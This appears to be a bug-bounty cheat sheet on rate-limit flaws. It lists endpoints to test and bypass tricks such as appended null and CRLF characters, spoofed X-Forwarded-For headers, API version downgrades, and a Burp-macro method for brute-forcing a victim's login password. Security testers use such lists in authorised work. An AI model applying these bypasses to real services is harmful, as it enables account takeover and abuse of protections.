Rate Limit Flaws

RATE LIMIT FLAWS

This flaw leveraged by malicious actors to perform DDoS, brute force, and bot attacks on APIs. Although it's more than that.

NOTE: Some organisation keep rate-limit bug as OOS, So check their policy before testing.

Rate-limit Checks

1 - Rate limit on Forget password 2 - Rate limit on Sign-up Page 3 - Rate limit on Login Page 4 - Rate limit on Invite user normal 5 - Rate limit on Invite user using MACROS 6 - Rate limit on 2FA 7 - Rate-limit on Comment and sent messages 8 - Use your own brain somewhere

Bypass-Techniques

1 - Append NULL characters at the end of the request :

%00, %0d%0a, %0d, %0a, %09, %0C, %20, ( )space

POST /signup/new/1337 HTTP/1.1
HOST: api.target.com
...
email=hacker%40gmail.com&password=12345678%00

2 - Append NULL characters at the end of the Path :

%00, %0d%0a, %0d, %0a, %09, %0C, %20, ( )space POST /profile/post/like%00 HTTP/2

3) Using Custom HTTP headers

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwared-Host: 127.0.0.1

X-Originating-IP: 127.0.0.2
X-Forwarded-For: 127.0.0.2
X-Remote-IP: 127.0.0.2
X-Remote-Addr: 127.0.0.2
X-Client-IP: 127.0.0.2
X-Host: 127.0.0.2
X-Forwared-Host: 127.0.0.2

X-Originating-IP: 127.0.1
X-Forwarded-For: 127.0.1
X-Remote-IP: 127.0.1
X-Remote-Addr: 127.0.1
X-Client-IP: 127.0.1
X-Host: 127.0.1
X-Forwared-Host: 127.0.1

4 - Changing the value of User-Agent:

UserAgent: 'CHANGED_USERAGENT'

5 - Adding Custom parameter in GET request

GET /accout/passwordreset/?test=test

6 - Change request body, (JSON -> XML) or vice versa

Use Burp Extension --> Content Type Converter

7 - Changing API version ,

/api/v2/user/reset_pw --> /api/v1/user/reset_pw or /api/v3/user/reset_pw

8 - Bypass through Exploiting Logic flaw on Login page,

  • Take Attacker and Victim account

  • Identify how many enough login attempts in application

  • For-eg. if application gives only 3 attempts, then

  • By using burp macros, send the attackers login request 1 time and victim login request 2 time, or alternatively

  • If NOT blocked, Repeat the process until we get victim's password

9 - Try to find Origin IP of the Application

  • Shodan

  • Censys

  • Visit the application with it's IP address

  • Do your own research

Last updated